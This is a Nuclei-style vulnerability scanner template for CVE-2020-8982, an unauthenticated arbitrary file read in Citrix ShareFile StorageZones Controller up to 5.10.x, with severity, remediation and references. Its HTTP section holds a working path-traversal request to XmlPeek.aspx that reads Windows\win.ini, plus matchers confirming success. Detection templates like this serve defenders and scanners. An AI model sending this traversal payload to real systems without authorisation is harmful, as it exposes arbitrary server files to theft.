id: CVE-2020-8982

info:
  name: Citrix ShareFile StorageZones <=5.10.x - Arbitrary File Read
  author: dwisiswant0
  severity: high
  description: Citrix ShareFile StorageZones (aka storage zones) Controller versions through at least 5.10.x are susceptible to an unauthenticated arbitrary file read vulnerability.
  impact: |
    An attacker can read arbitrary files on the affected system, potentially leading to unauthorized access to sensitive information.
  remediation: |
    Upgrade Citrix ShareFile StorageZones to version 5.11 or higher to mitigate the vulnerability.
  reference:
    - https://support.citrix.com/article/CTX269106
    - https://drive.google.com/file/d/1Izd5MF_HHuq8YSwAyJLBErWL_nbe6f9v/view
    - https://www.linkedin.com/posts/jonas-hansen-2a2606b_citrix-sharefile-storage-zones-controller-activity-6663432907455025152-8_w6/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8982
    - https://github.com/0xT11/CVE-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-8982
    cwe-id: CWE-22
    epss-score: 0.79607
    epss-percentile: 0.98287
    cpe: cpe:2.3:a:citrix:sharefile_storagezones_controller:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: citrix
    product: sharefile_storagezones_controller
  tags: cve2020,cve,citrix,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/XmlPeek.aspx?dt=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\win.ini&x=/validate.ashx?requri"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e85f6d21f2bf6e27a5963b61e2b1e2bd133ea3a77898afd42f4ec42f50279e4902205eda77e18fb9a6e8765286edc32cc3696d000b612ae0addc72c6cc5a6ed9a818:922c64590222798bb761d5b6d8e72950